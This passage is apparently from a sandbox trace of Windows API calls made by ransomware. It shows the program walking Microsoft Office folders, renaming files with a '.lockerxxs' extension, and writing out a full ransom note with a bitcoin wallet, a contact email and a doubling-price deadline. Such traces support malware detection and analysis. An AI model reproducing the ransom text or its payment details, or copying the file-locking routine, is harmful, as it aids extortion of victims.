Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.lockerxxs")) returned 1 [0061.579] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.lockerxxs")) returned 1 [0061.651] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0061.653] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0061.663] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750050, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0061.675] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81ba, cFileName=".", cAlternateFileName="")) returned 0x4f81b8 [0061.685] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName=".", cAlternateFileName="")) returned 0x4f81b8 [0061.694] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName=".", cAlternateFileName="")) returned 0x4f81b8 [0061.704] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0061.704] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0061.706] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0061.706] CloseHandle (hObject=0x84) returned 1 [0061.707] FindNextFileA (in: hFindFile=0x4f70d8, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31c7d0, ftCreationTime.dwHighDateTime=0x1d5c6a3, ftLastAccessTime.dwLowDateTime=0xf462e4c0, ftLastAccessTime.dwHighDateTime=0x1d5dae7, ftLastWriteTime.dwLowDateTime=0xf462e4c0, ftLastWriteTime.dwHighDateTime=0x1d5dae7, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="foxmailincmail.exe", cAlternateFileName="FOXMAI~1.EXE")) returned 1 [0061.707] FindNextFileA (in: hFindFile=0x4f70d8, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0061.707] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4f1284, cFileName=".", cAlternateFileName="")) returned 0x4f7080 [0061.707] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0061.707] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0061.708] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0061.710] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0061.711] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0061.711] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0061.711] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0061.711] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0061.713] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 0 [0061.713] FindClose (in: hFindFile=0x4f8120 | out: hFindFile=0x4f8120) returned 1 [0061.714] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0061.715] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0061.716] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0061.719] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav.lockerxxs")) returned 1 [0061.719] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x3000003, dwReserved1=0x4f8120, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0061.720] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0061.720] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0061.720] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0061.720] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0061.721] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0061.721] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0061.721] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0061.721] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0061.721] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0061.721] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0061.721] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0061.722] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0061.722] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0061.722] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0061.722] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0061.722] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0061.722] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0061.722] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0061.723] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0061.723] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0061.723] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: 